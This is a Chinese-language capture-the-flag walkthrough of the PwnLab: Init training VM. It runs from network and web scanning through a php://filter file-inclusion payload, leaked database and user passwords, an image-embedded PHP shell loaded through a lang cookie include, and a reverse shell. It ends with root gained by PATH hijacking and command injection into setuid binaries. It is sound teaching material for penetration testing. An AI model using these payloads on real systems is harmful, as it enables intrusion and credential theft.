红队打靶练习:PWNLAB: INIT

信息探测

1、arp

┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.12.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:08       VMware, Inc.
192.168.12.2    00:50:56:ec:d1:ca       VMware, Inc.
192.168.12.131  00:0c:29:e4:db:ad       VMware, Inc.
192.168.12.254  00:50:56:fb:5b:5a       VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.339 seconds (109.45 hosts/sec). 4 responded

---

2、netdiscover

netdiscover -r 192.168.12.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 10 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 600
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.12.1    00:50:56:c0:00:08      7     420  VMware, Inc.
 192.168.12.2    00:50:56:ec:d1:ca      1      60  VMware, Inc.
 192.168.12.131  00:0c:29:e4:db:ad      1      60  VMware, Inc.
 192.168.12.254  00:50:56:fb:5b:5a      1      60  VMware, Inc.

---

3、nmap

主机存活探测

┌──(root㉿ru)-[~/kali]
└─# nmap -sn 192.168.12.0/24 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-12 15:55 CST
Nmap scan report for 192.168.12.1
Host is up (0.00036s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.12.2
Host is up (0.000056s latency).
MAC Address: 00:50:56:EC:D1:CA (VMware)
Nmap scan report for 192.168.12.131
Host is up (0.00014s latency).
MAC Address: 00:0C:29:E4:DB:AD (VMware)
Nmap scan report for 192.168.12.254
Host is up (0.0013s latency).
MAC Address: 00:50:56:FB:5B:5A (VMware)
Nmap scan report for 192.168.12.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 0.33 seconds

---

端口扫描

┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.12.131 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-12 15:55 CST
Nmap scan report for 192.168.12.131
Host is up (0.0044s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3306/tcp  open  mysql
52998/tcp open  unknown
MAC Address: 00:0C:29:E4:DB:AD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds

快速提取端口信息

┌──(root㉿ru)-[~/kali]
└─# cat ports.nmap | awk -F "/" '{print $1}' | head -n 9 | tail -n 4 | xargs -n 4 | sed 's/ /,/g'
80,111,3306,52998

里面包含了 cat、awk、head、tail、xargs、sed等linux命令，不会的可以去学习一下！

---

信息探测

┌──(root㉿ru)-[~/kali]
└─# nmap -sC -sV -sT -O -A -p 80,111,3306,52998 192.168.12.131 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-12 16:47 CST
Nmap scan report for 192.168.12.131
Host is up (0.00036s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46058/udp6  status
|   100024  1          51412/udp   status
|   100024  1          52998/tcp   status
|_  100024  1          57087/tcp6  status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 41
|   Capabilities flags: 63487
|   Some Capabilities: SupportsLoadDataLocal, Support41Auth, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, LongColumnFlag, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, ODBCClient, LongPassword, SupportsCompression, FoundRows, InteractiveClient, IgnoreSigpipes, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: nU>w\G0VA$-VKTC2qd"u
|_  Auth Plugin Name: mysql_native_password
52998/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:E4:DB:AD (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms 192.168.12.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds

---

漏洞探测

┌──(root㉿ru)-[~/kali]
└─# nmap --script=vuln -p 80,111,3306,52998 192.168.12.131 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-12 16:49 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.12.131
Host is up (0.00034s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure:
|_  Internal IP Leaked: 127.0.0.1
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.12.131
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://192.168.12.131:80/?page=login
|     Form id: user
|_    Form action:
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags:
|   /login.php:
|     PHPSESSID:
|_      httponly flag not set
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
| http-enum:
|   /login.php: Possible admin folder
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
111/tcp   open  rpcbind
3306/tcp  open  mysql
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
52998/tcp open  unknown
MAC Address: 00:0C:29:E4:DB:AD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 344.93 seconds

---

4、nikto

┌──(root㉿ru)-[~]
└─# nikto -h 192.168.12.131
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.12.131
+ Target Hostname:    192.168.12.131
+ Target Port:        80
+ Start Time:         2023-12-12 16:50:31 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.0.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-12-12 16:50:48 (GMT8) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

---

目录探测

1、gobuster

┌──(root㉿ru)-[/usr/share/dirbuster/wordlists]
└─# gobuster dir -u http://192.168.12.131 -w directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.12.131
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 317] [--> http://192.168.12.131/images/]
/upload               (Status: 301) [Size: 317] [--> http://192.168.12.131/upload/]
/server-status        (Status: 403) [Size: 302]
Progress: 207643 / 207644 (100.00%)
===============================================================
Finished
===============================================================

---

难道目录就这点东西吗？

---

2、dirsearch

┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.12.131 -e*
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz
HTTP method: GET | Threads: 25 | Wordlist size: 14594

Output File: /root/kali/reports/http_192.168.12.131/_23-12-12_17-02-32.txt

Target: http://192.168.12.131/

[17:02:32] Starting:
[17:02:33] 403 -  300B  - /.ht_wsr.txt
[17:02:33] 403 -  303B  - /.htaccess.bak1
[17:02:33] 403 -  303B  - /.htaccess.orig
[17:02:33] 403 -  305B  - /.htaccess.sample
[17:02:33] 403 -  304B  - /.htaccess_extra
[17:02:33] 403 -  303B  - /.htaccess_orig
[17:02:33] 403 -  303B  - /.htaccess.save
[17:02:33] 403 -  301B  - /.htaccessOLD
[17:02:33] 403 -  293B  - /.htm
[17:02:33] 403 -  301B  - /.htaccess_sc
[17:02:33] 403 -  301B  - /.htaccessBAK
[17:02:33] 403 -  294B  - /.html
[17:02:33] 403 -  302B  - /.htaccessOLD2
[17:02:33] 403 -  303B  - /.htpasswd_test
[17:02:33] 403 -  300B  - /.httr-oauth
[17:02:33] 403 -  299B  - /.htpasswds
[17:02:34] 403 -  294B  - /.php3
[17:02:34] 403 -  293B  - /.php
[17:02:47] 200 -    0B  - /config.php
[17:02:53] 200 -  455B  - /images/
[17:02:53] 301 -  317B  - /images  ->  http://192.168.12.131/images/
[17:02:55] 200 -  164B  - /login.php
[17:03:04] 403 -  302B  - /server-status
[17:03:04] 403 -  303B  - /server-status/
[17:03:09] 301 -  317B  - /upload  ->  http://192.168.12.131/upload/
[17:03:09] 200 -   19B  - /upload.php
[17:03:09] 200 -  405B  - /upload/

Task Completed

---

gobuster加载的字典可以换了！

---

3、feroxbuster

feroxbuster -u ip -x 类型 -w 字典

---

4、dirb

dirb http://192.168.12.131

---

这些扫描器的效果都差不多，就不一一演示了！

---

WEB

80端口

---

需要登录，可以上传东西，似乎可以利用上传木马来反弹shell。不过先找到密码再说！

---

config文件

---

不应该啊，按理说，开了3306端口，那么config.php文件中应该会有关键信息啥的啊！可能有某种过滤机制，我们尝试使用php伪协议进行绕过！

---

https://www.cnblogs.com/cainiao-chuanqi/p/15818547.htmlhttps://www.cnblogs.com/cainiao-chuanqi/p/15818547.html

---

---

http://192.168.12.131/?page=php://filter/convert.base64-encode/resource=config

---

---

成功！

┌──(root㉿ru)-[~/kali]
└─# echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 -d
  

---

得到数据库账号密码

root：H4u%QJ_H99

---

┌──(root㉿ru)-[~/kali]
└─# mysql -h 192.168.12.131  -u root -p
Enter password:
ERROR 1129 (HY000): Host '192.168.12.128' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'

如果兄弟们出现这种情况，不要慌，只要重启靶机就行了。
原因： 同一个 IP 短时间内产生太多（超过mysql数据库设置的最大报错值），中断的数据库连接会导致数据库连接阻塞

---

┌──(root㉿ru)-[~/kali]
└─# mysql -h 192.168.12.131  -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.001 sec)

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.001 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.001 sec)

MySQL [Users]>

---

得到几个base64编码的密码。
解码

+------+------------------+
| user | pass             |
+------+------------------+
| kent | JWzXuBJJNy       |
| mike | SIfdsTEn6I       |
| kane | iSv5Ym2GRo       |
+------+------------------+

---

成功登录

---

登录成功了！我们先不要急着上传木马！对于上传点，我们尽量选择上传图片马，因为很多上传点都会做一些防护，我们用图片马更加保险！不过我们先尝试使用php木马。

---

upload file

---

我尝试上传php木马，但是很明显，有过滤机制。那么我们就去利用文件包含漏洞读文件上传源码。在前面我们收集到了upload目录但是啥也没有，我们尝试读取upload文件。

---

---

PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==

---

base64解码后



        
                

                        
                        
                
        

1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "
";
                } else {
                        die('Error 4');
                }
        }
}

?> 

---

解读源码后，发现，果真是只能上传图片啥的！

---

---

找一个正常的图片，然后用vim打开，在最后面加上php反弹shell木马！

---

但是问题又又又来了，访问图片马没有反弹shell，寄！可能是某种规则！我们去把主页源码扒下来。

---

index.php

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

---

base64解码











[ Home ] [ Login ] [ Upload ]





  

---

在这段代码中， 浏览器会检查Cookie 中是否设置了 ‘lang’，如果设置了，则尝试包含对应语言的 PHP 文件。那么我们只需要在cookie中加入图片马上传的路径即可。

lang=../upload/b2f268d362a679d4738d49c492671e53.png

---

反弹shell

---

┌──(root㉿ru)-[~/kali]
└─# nc -lvvp 1234
listening on [any] 1234 ...
192.168.12.131: inverse host lookup failed: Unknown host
connect to [192.168.12.128] from (UNKNOWN) [192.168.12.131] 50149
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 05:30:44 up 48 min,  0 users,  load average: 0.00, 0.01, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/$ ls
ls
bin   dev  home        lib         media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lost+found  mnt    proc  run   srv   tmp  var
www-data@pwnlab:/$

python -c 'import pty;pty.spawn("/bin/bash")' 提高交互性

---

提权

系统信息收集

www-data@pwnlab:/$ uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux

www-data@pwnlab:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 8.3 (jessie)
Release:        8.3
Codename:       jessie

www-data@pwnlab:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/chsh
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4

www-data@pwnlab:/$ sudo -l
sudo -l
bash: sudo: command not found

www-data@pwnlab:/$

---

横向提权

kent@pwnlab:/home$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

kane@pwnlab:~$ cd /tmp
cd /tmp
kane@pwnlab:/tmp$ ls
ls
b2f268d362a679d4738d49c492671e53.png
kane@pwnlab:/tmp$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
kane@pwnlab:/tmp$ chmod 777 cat
chmod 777 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd && ./msgmike
cd && ./msgmike
mike@pwnlab:~$ cd /home
cd /home
mike@pwnlab:/home$ ls
ls
john  kane  kent  mike
mike@pwnlab:/home$ cd mike
cd mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello && /bin/sh
hello && /bin/sh
hello
# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
# cd /root
cd /root
# ls
ls
flag.txt  messages.txt
#/bin/cat flag.txt
/bin/cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                [email protected] - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

---